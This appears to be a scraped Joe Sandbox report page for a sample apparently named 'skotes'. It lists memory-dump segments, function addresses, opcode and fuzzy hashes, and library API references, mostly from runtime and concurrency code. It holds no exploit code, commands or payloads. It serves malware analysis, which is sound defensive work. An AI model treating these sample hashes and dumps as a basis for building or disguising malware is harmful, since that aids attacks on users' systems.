Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 8292b5c8d872961098f16b49e0a423bd5ed1b02225462ca8bc435ed4dc7f4d61
Instruction ID: 280bdfd7a4a7e2cfcd10a46ed060a0eb077c95755a0f3a761e66be666483491a
Opcode Fuzzy Hash: 8292b5c8d872961098f16b49e0a423bd5ed1b02225462ca8bc435ed4dc7f4d61
Instruction Fuzzy Hash: 2F51E571521A26AFDB258F14D855F7A73A4EF15300F18472DE80A87291EBB1FDE0CB90

Function 002C4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 002C4C66
TypeidsEqual.LIBVCRUNTIME ref: 002C4C8B
PMDtoOffset.LIBCMT ref: 002C4CA1
PMDtoOffset.LIBCMT ref: 002C4D22

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 4aea40ac39e3545f144c63ea8c3058a3d6f5b588e372a493fbbc0fb5cce7865d
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 37519F35A2420A9FCF10EF58C4A0AEFBBF4EF15354F14469ED852A7350D7329A54CB50

Function 002BDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 002BDB64

Part of subcall function 002B8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 002B8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 002BDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 002BDBE9
Concurrency::location::_Assign.LIBCMT ref: 002BDC56

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 0fe0f4c4165eebcc832a5b24178aa75f8a3b616cf77261a6ad0185642facb3c0
Instruction ID: 2717845ea596310eaba3574b38483418021baea5cb136aa25b01d3c14a68d324
Opcode Fuzzy Hash: 0fe0f4c4165eebcc832a5b24178aa75f8a3b616cf77261a6ad0185642facb3c0
Instruction Fuzzy Hash: D0412374620201ABCF19AF24C886BFDBB75AF453A0F14409AE5069B3C2DFB4AD55CB90

Function 002B56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 002B56F2
_InternalDeleteHelper.LIBCONCRT ref: 002B5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 002B578B
SafeRWList.LIBCONCRT ref: 002B579A

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: d5a462dc0a5b4cbf21c9ef77c75f94d4414f035696508032473746a5cec76c29
Instruction ID: 0ffc970a93983e027017369db8644bd05835ac4706633bcfcfe9409147f7a7bd
Opcode Fuzzy Hash: d5a462dc0a5b4cbf21c9ef77c75f94d4414f035696508032473746a5cec76c29
Instruction Fuzzy Hash: 1F3125367005219FDB09AF20CC81BEDB7A6AF89750F198278ED069F255DF30AC058B90

Function 002B2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 002B2D0F

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
